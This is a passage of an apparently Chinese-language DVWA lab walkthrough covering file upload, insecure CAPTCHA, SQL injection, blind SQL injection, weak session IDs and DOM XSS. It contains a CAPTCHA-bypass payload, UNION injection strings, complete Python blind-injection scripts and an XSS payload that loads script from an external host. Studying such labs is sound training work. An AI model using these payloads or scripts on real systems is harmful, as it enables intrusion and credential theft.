$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

Insecure CAPTCHA(不安全的验证)

Low

不安全的验证码,CAPTCHACompletely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。

做这个实验可能需要先弄验证码,按照dvwa的提示,填一个网域和标签就行(网域就是你的IP或者域名)

但是这个不是重点,这里我们需要测试的是,如何绕过验证。

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

借用大佬的一张图,来说明一下reCAPTCHA的验证流程:

  1. 用户通过js请求从Google获取序言进行验证的验证码
  2. 用户输入验证码
  3. 服务器通过调用recaptcha_check_answer函数检查用户输入的正确性

服务器改密码分为两步,第一步检查reCAPTCHA,验证通过后,服务器返回表单,第二部客户端提交POST请求,服务器完后才能改密码操作。但是这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change和step参数来判断用户是否已经输入正确的验证码。

漏洞利用

通过构造参数绕过验证过程的第一步

通过输入密码,点击Change按钮,抓包, 因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field,recaptcha_response_field两个参数

直接将step更改为2,就跳过了验证码的验证过程。密码修改成功。

Medium

// Check to see if they did stage 1 
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

增加了对参数passed_captcha的验证,payload增加即可

step=2&password_new=hack&passed_captcha=1&password_conf=hack&g-recaptcha-response=&Change=Change

High

<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for user
$html .= "<pre>Password Changed.</pre>";

} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}

} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
)

可以看到,服务器的验证逻辑是当$resp(谷歌服务器返回的验证)是TRUE,或者参数recaptcha_response_filed == hidd3n_valu3且http包头的User-Agent参数等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

漏洞利用

绕过验证应该把目标放到后面的条件了。

更改参数recaptcha_response_field以及http包头的User-Agent

Impossible

<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );

$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。

SQL Injection(SQL注入)

Low

SQL注入是可在生命中的了,不多说了,直接看代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

这一句直接拼接和SQL语句,导致注入,有回显,手工注入或者借用sqlmap就可以

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

payload

1' and 1=2 order by 2#		//2列

1' and 1=2 union select 1,2#

//查数据库和用户名
1' and 1=2 union select user(),database()#
root@localhost
dvwa

//查表名
1' and 1=2 union select group_concat(TABLE_NAME),2 from information_schema.TABLES where table_schema='dvwa'#
guestbook,users

//查列名
1' and 1=2 union select group_concat(column_name),2 from information_schema.COLUMNS where table_schema='dvwa' and table_name='users'#
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

//查数据,admin的密码md5
1' and 1=2 union select 1,password from users where user='admin'#
5f4dcc3b5aa765d61d8327deb882cf99

过程中碰到一个错误:

Illegal mix of collations for operation ‘UNION’

说是字符集的错误,详情和解决方法见这两个链接:

https://www.cnblogs.com/hongthink/p/6225468.html

http://www.111com.net/database/mysql/56096.htm

Medium

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

我们可以通过burpsuite接收并控制id

由于单引号被转义,所以之前的payload会出错,尽量避免使用',也可以通过hex,16进制的形式,将必须的字符串做转换,从而绕过mysql_real_escape_string函数。

1 order by 2# 
1 union select 1,2#
1 union select 1,database()#
查表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
f14g15here,guestbook,users

查列(用16进制绕过指定表名所需的')
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

查数据
1 union select 1,password from users where user=0x61646d696e
d78b6f30225cdc811adfe8d4e7c9fd34

High

与Medium相比,多了LIMIT 1 想通过这种方式限制输出。然后用SESSION_ID 的方式,但实际上与Low级别的防护一样差。。。

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

至于payload,Low级别的都可以用。。。

1'  union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
Surname: f14g15here,guestbook,users

1' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMNS where table_schema='dvwa' and table_name='users'#
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

Impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

SQL Blind Injection(SQL盲注)

Low

盲注,没有数据的回显,只显示userid在数据库或者不在数据库中。没有任何过滤。

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

payload

因为存在明显的两种条件表示是非,可以通过布尔盲注来注入得到数据。为了更贴近CTF,我增加了一条flag的表,作为测试。

# encoding:utf-8
import requests
import string

dic = string.printable[:94]
# print(dic)
# 注入点url
url = "http://192.168.220.1/dvwa/vulnerabilities/sqli_blind/"
TrueState = 'exists'
FlaseState = 'MISSING'
cookies = {'security':'low','PHPSESSID':'igtb1sfu1lm1gb9e4ug06i0d1e'}
s = requests.Session()

# 1.爆库名的长度
def dbnameLength():
for DBlen in range(1,50):
PayloadofDBlen = "?id=1' and length(database())={}%23&Submit=Submit".format(DBlen)
DBlen_url = url + PayloadofDBlen
response = s.get(DBlen_url,cookies=cookies).text
if TrueState in response:
print("DBnamelen is ", DBlen)
break

# 2.爆库名
def dbname():
DBlen = 4
DBname = ''
for i in range(1, DBlen+1):
for c in dic:
DBnamePayload = "?id=1' and substr(database(),{},1)='{}' %23&Submit=Submit".format(i,str(c))
DBname_url = url + DBnamePayload
print(DBnamePayload)
response = s.get(DBname_url,cookies=cookies).text
if TrueState in response:
DBname += c
break
print("DBname is:", DBname)


# 3.爆出所有的表名
def tableName():
table_name = ''
for i in range(1,51):
for c in dic:
tableName_payload = "?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}' %23&Submit=Submit#".format(str(i),str(c))
tableName_url = url + tableName_payload
# print(tableName_url)
response = s.get(tableName_url, cookies=cookies).text
if TrueState in response:
table_name += c
print('table_name:',table_name)
break

# 3.爆出指定表的所有列名
def ColumnName(tablename):
column_name = ''
for i in range(1,51):
for c in dic:
columnName_payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{}'),{},1)='{}' %23&Submit=Submit#".format(tablename,str(i),str(c))
columnName_url = url + columnName_payload
# print(tableName_url)
response = s.get(columnName_url, cookies=cookies).text
if TrueState in response:
column_name += c
print("column_name of TABLE {}:{}".format(tablename,column_name))
break

# 4.爆出指定表指定列的数据
def flag(columname, tablename):
flag = ''
for i in range(1, 51):
for c in dic:
payload = "?id=1' and substr((select {} from {}),{},1)='{}'%23&Submit=Submit#".format(columname,tablename,i,str(c))
flag_url = url + payload
response = s.get(flag_url, cookies=cookies).text
if TrueState in response:
flag += c
print("flag is",flag)
break


if __name__ == "__main__":
# dbnameLength()
# dbname()
# tableNum()
tableName()
# table_name: f14g15here,guestbook,users
# ColumnName('f14g15here')
# column_name of TABLE f14g15here:f1ag
# flag('f1ag','f14g15here')
# flag is flag{this_is_a_test_flag}

Medium

主要将id换成数字型注入,然后通过POST方法上传数据,通过下拉表单的方式试图避免id可控,但是通过写脚本和burp,id是可控的。还通过mysqli_real_escape_string转义单引号

可以通过16进制绕过必要的字符或者ascii码来判断

id=1 and ascii(substr(database(),1,1))=100 %23
id=1 and ascii(substr(database(),1,1))=0x64 %23

直接放一下脚本:

# encoding:utf-8
import requests
import string

dic = string.printable[:94]
# print(dic)
# 注入点url
url = "http://localhost/dvwa/vulnerabilities/sqli_blind/"
TrueState = 'exists'
FlaseState = 'MISSING'
cookies = {'security':'medium','PHPSESSID':'51ca1k3krm3iqvo0tsfhjiu8lu'}
s = requests.Session()

# 1.爆库名的长度
def dbnameLength():
for DBlen in range(1,50):
PayloadofDBlen = {'id':"1 and length(database())={}%23".format(DBlen), 'Submit':'Submit'}
response = s.post(url,cookies=cookies,data=PayloadofDBlen).text
if TrueState in response:
print("DBnamelen is ", DBlen)
break

# 2.爆库名
def dbname():
DBlen = 4
DBname = ''
for i in range(1, DBlen+1):
for c in dic:
DBnamePayload = {'id': "1 and ascii(substr(database(),{},1))={} #".format(i,ord(c)),'Submit':'Submit'}
# DBname_url = url + DBnamePayload
# print(DBnamePayload)
response = s.post(url,cookies=cookies,data=DBnamePayload).text
# print(response)
if TrueState in response:
DBname += c
break
print("DBname is:", DBname)


# 3.爆出所有的表名
def tableName():
table_name = ''
for i in range(1,51):
for c in dic:
tableName_payload = {"id":"1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={} #".format(str(i),ord(c)),'Submit':'Submit'}
# tableName_url = url + tableName_payload
# print(tableName_url)
response = s.post(url, cookies=cookies, data=tableName_payload).text
if TrueState in response:
table_name += c
print('table_name:',table_name)
break

# 3.爆出指定表的所有列名
def ColumnName(tablename):
column_name = ''
for i in range(1,51):
for c in dic:
columnName_payload = {"id":"1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name={}),{},1))={} #".format(tablename,str(i),ord(c)),'Submit':'Submit'}
# columnName_url = url + columnName_payload
# print(tableName_url)
response = s.post(url, cookies=cookies, data=columnName_payload).text
if TrueState in response:
column_name += c
print("column_name of TABLE {}:{}".format(tablename,column_name))
break

def flag(columname, tablename):
flag = ''
for i in range(1, 51):
for c in dic:
payload = {'id':"1 and ascii(substr((select {} from {}),{},1))={}#".format(columname,tablename,i,ord(c)),'Submit':'Submit'}
# flag_url = url + payload
response = s.post(url, cookies=cookies, data=payload).text
if TrueState in response:
flag += c
print("flag is",flag)
break


if __name__ == "__main__":
# dbnameLength()
# dbname()
# tableName()
# table_name: f14g15here,guestbook,users
# ColumnName('0x66313467313568657265')
# column_name of TABLE 0x66313467313568657265:f1Ag
flag('f1Ag','f14g15here')
# flag is flag{this_is_a_test_flag}

High

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

另外,注入点变成了Cookie['id'],至于payload,用Low级别的就可以。

# encoding:utf-8
import requests
import string

dic = string.printable[:94]
# print(dic)
# 注入点url
url = "http://localhost/dvwa/vulnerabilities/sqli_blind/"
TrueState = 'exists'
FlaseState = 'MISSING'
cookies = {'security':'high','PHPSESSID':'igtb1sfu1lm1gb9e4ug06i0d1e'}
s = requests.Session()

# 1.爆库名的长度
def dbnameLength():
for DBlen in range(1,50):
PayloadofDBlen = "1' and length(database())={}%23&Submit=Submit".format(DBlen)
cookies['id']=PayloadofDBlen
# print(cookies)
response = s.get(url,cookies=cookies).text
if TrueState in response:
print("DBnamelen is ", DBlen)
break

# 2.爆库名
def dbname():
DBlen = 4
DBname = ''
for i in range(1, DBlen+1):
for c in dic:
DBnamePayload = "1' and substr(database(),{},1)='{}' #".format(i,str(c))
cookies['id'] = DBnamePayload
response = s.get(url,cookies=cookies).text
if TrueState in response:
DBname += c
print(DBname)
break
print("DBname is:", DBname)


# 3.爆出所有的表名
def tableName():
table_name = ''
for i in range(1,51):
for c in dic:
tableName_payload = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}' #".format(str(i),str(c))
cookies['id'] = tableName_payload
response = s.get(url, cookies=cookies).text
if TrueState in response:
table_name += c
print('table_name:',table_name)
break

# 3.爆出指定表的所有列名
def ColumnName(tablename):
column_name = ''
for i in range(1,51):
for c in dic:
columnName_payload = "1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{}'),{},1)='{}' #".format(tablename,str(i),str(c))
cookies['id'] = columnName_payload
response = s.get(url, cookies=cookies).text
if TrueState in response:
column_name += c
print("column_name of TABLE {}:{}".format(tablename,column_name))
break

def flag(columname, tablename):
flag = ''
for i in range(1, 51):
for c in dic:
payload = "1' and substr((select {} from {}),{},1)='{}'#".format(columname,tablename,i,str(c))
cookies['id']=payload
response = s.get(url, cookies=cookies).text
if TrueState in response:
flag += c
print("flag is",flag)
break


if __name__ == "__main__":
# dbnameLength()
# dbname()
# tableName()
# table_name: f14g15here,guestbook,users
# ColumnName('f14g15here')
# column_name of TABLE f14g15here:f1ag
flag('f1ag','f14g15here')
# flag is flag{this_is_a_test_flag}

Impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

Weak Session IDS

Low

顾名思义,因为Session的加密算法太弱或者其他情况导致sessionID可以预测和伪造。

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

每点一次,dvwaSession+1,非常脆弱。

Medium

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

dvwaSession用时间作为sessionid,但是依然比较容易伪造。当我需要伪造这个session的时候,可以通过一个time()函数完成。

High

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

加了md5函数,但是md5(value)md5的参数$_SESSION['last_session_id_high']导致md5的加密性不强,容易查到:

Impossible

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

可以看到,Impossible级别的代码,通过加入随机数和事件来生成cookie,无意是难以猜解,非常安全的。

XSS(DOM)

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS可能是存储型,也有可能是反射型,是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。以下属性都可能触发DOM型XSS:

document.referer
window.name
location
innerHTML
documen.write

Low

找XSS的漏洞,其实主要是从前端的HTML和js入手。

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
?default=English<script>alert('xss');</script>
用XSS平台接收一下:
?default=English<sCRiPt/SrC=//xss.pt/****>

Medium

<?php

// Is there any input?
